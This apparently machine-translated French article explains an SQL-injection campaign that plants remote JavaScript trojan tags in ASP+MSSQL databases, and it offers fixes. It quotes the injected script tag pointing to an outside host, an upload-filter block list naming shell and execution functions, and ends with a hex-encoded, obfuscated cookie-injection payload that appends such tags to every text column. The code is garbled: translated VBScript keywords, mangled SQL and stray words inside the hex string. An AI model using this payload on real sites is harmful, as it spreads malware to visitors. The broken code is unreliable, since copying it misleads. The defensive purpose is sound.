De nos jours, de nombreux sites Web conçus avec ASP+MSSQL ont peut-être vécu l’expérience de voir leurs bases de données SQL insérées dans des chevaux de Troie JS par des pirates. Non, le site Web d’un ami a été trompé par des pirates.
Chaque varchar et champ de texte de mssql est automatiquement inséré dans un morceau de code js. Même si ce morceau de code est supprimé, s'il n'est pas résolu à partir de la source, le code js sera automatiquement inséré dans la base de données en quelques minutes.
D'après l'observation de Piao Yi, cela est susceptible d'être exécuté automatiquement par le programme. Le pirate recherche d'abord les sites Web vulnérables conçus avec asp+mssql à partir de moteurs de recherche tels que Google et Baidu, puis utilise des outils d'analyse par injection comme Xiao Mingzi pour analyser l'intégralité. site Web, une fois qu'une vulnérabilité d'injection SQL est découverte ou téléchargée. S'il existe des vulnérabilités, les pirates utilisent divers moyens pour télécharger leurs propres chevaux de Troie, tels que les chevaux de Troie Haiyang ; ils incluent ensuite ce site Web dans leur liste de poulets de chair et ajoutent à tout moment les codes js qu'ils souhaitent ajouter à la base de données. les codes contiennent souvent de nombreux virus et chevaux de Troie qui finissent par empoisonner les ordinateurs des utilisateurs qui visitent des sites Web contrôlés.
Bien que vous puissiez effectuer un remplacement par lots via l'analyseur de requêtes SQL pour résoudre temporairement le problème du code js inséré, si vous ne résolvez pas fondamentalement les vulnérabilités de l'ensemble du site Web, y compris les autorisations de sécurité du programme et du serveur, les pirates peuvent toujours envahir votre site Web à tout moment. Base de données du site Web.
Dans l'analyseur de requêtes SQL, vous pouvez exécuter le code suivant pour remplacer le code js par lots :
Copiez le code comme suit :
"mettre à jour le nom de la table défini field name=replace(field name,'<Script Src=http://cn%75clear3.com/css/c.js></Script>','')"
flymorn a soigneusement vérifié le site Web et a trouvé plusieurs problèmes de sécurité :
Premièrement, le site Web présente une vulnérabilité de téléchargement ; bien que le téléchargement de fichiers nécessite une authentification de l'administrateur et une authentification du format de fichier des fichiers téléchargés, l'authentification de l'administrateur utilise des cookies, et les cookies peuvent être falsifiés, et s'ils sont téléchargés, si vous ne portez aucun jugement sur le contenu du fichier. après avoir pris la photo, le cheval de Troie photo est susceptible d'être téléchargé.
Solutions : 1 Supprimer la fonction de téléchargement de fichier (pas pratique) ; 2 Modifier la vérification de l'utilisateur de téléchargement en vérification de session ; 3 Vérifiez le contenu du fichier téléchargé et supprimez-le s'il s'agit d'un cheval de Troie d'image, vous pouvez vous référer au code de vérification suivant ; :
Copiez le code comme suit :
''================ Déterminer si le fichier téléchargé contient une chaîne illégale start=================
set MyFile = server.CreateObject("Scripting.FileSystemObject")
set MyText = MyFile.OpenTextFile(Server.mappath(filePath), 1) 'Lire le fichier texte
sTextAll = lcase (MonTexte.ReadAll)
MonTexte.close
définir MyFile = rien
sStr="<%|.getfolder|.createfolder|.deletefolder|.createdirectory|.deletedirectory|.saveas|wscript.shell|script.encode|server.|.createobject|execute|activexobject|langage="
sNoString = split(sStr,"|")
pour i=0 à ubound(sNoString)
si instr(sTextAll,sNoString(i)) alors
set filedel = server.CreateObject("Scripting.FileSystemObject")
filedel.deletefile Server.mappath(filePath)
définir filedel = rien
Response.Write("<script>alert('Il y a un problème avec le fichier que vous avez téléchargé, le téléchargement a échoué !');history.back();</script>")
Réponse.Fin
finir si
suivant
''================== Déterminer si le fichier téléchargé contient une fin de chaîne illégale =====================
Deuxièmement, le site Web présente une vulnérabilité d’injection de cookies. En raison de la conception du programme, afin de réduire la surcharge du serveur, tous les utilisateurs utilisent des cookies pour l'authentification après la connexion. Ce cookie stocke l'ID et le NOM de l'utilisateur. Comme nous le savons tous, les cookies sont souvent forgés par des pirates informatiques. de plus, certains paramètres externes n'utilisent pas strict request.form et request.querystring pour obtenir le contenu, par souci de simplicité, request("id") est utilisé.
Nous savons que la requête ASP obtient d'abord le contenu du formulaire et de la chaîne de requête. Si ces deux éléments sont vides, le contenu doit être obtenu à partir des cookies. Les gens envisagent souvent l'injection SQL de request.form et request.querystring dans la programmation. et request.querystring sont généralement filtrés pour l'injection SQL ; mais ils oublient de filtrer l'injection en mode cookie ; Jetons un coup d'œil à l'instruction SQL suivante :
Copiez le code comme suit :
SQL="select * from table name whichid")
Si cet identifiant obtient de la valeur via des cookies, alors réfléchissez-y, quelle chose terrible c'est ! L'injecteur peut facilement forger un faux cookie nommé id car le cookie avec cet identifiant lui est attribué par le serveur. Ce cookie peut être transformé en un morceau de code similaire au suivant :
Copiez le code comme suit :
dEcLaRe @s vArChAr(4000);set @s=cAsT(0x6445634c615265204074207641724368417228323535292c406320764172436841722832353529206445634c6
15265207441624c655f637572736f5220635572536f5220466f522073456c456354206 Réseau de talents informatiques () 12e6e416d452c622e6e416d
452046724f6d207359734f624a6543745320612c735973436f4c754d6e53206220774865526520612e694
94420416e4420612e78547950653d27752720416e442028622e78547950653d3939206f5220622e78547950653d3
335206f5220622e78547950653d323331206f5220622e78547950653d31363729206f50654e207441624c655f6375
72736f52206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c4063207768
696c6528404066457443685f7374617475733d302920624567496e20657865632827557044615465205b272b40742
b275d20734574205b272b40632b275d3d727472696d28636f6e7665727428764172436841722c5b272b40632b275
d29292b27273c2f7469746c653e3c736372697074207372633d687474703a2f2f2536622536622533362532652537
352537332f312e6a733e3c2f7363726970743e27272729206645744368206e6578742046724f6d207441624c655f6
37572736f5220694e744f2040742c406320654e6420634c6f5365207441624c655f637572736f52206445416c4c6f4
3615465207441624c655f637572736f520d0a comme VArChAr(4000));exec(@s);--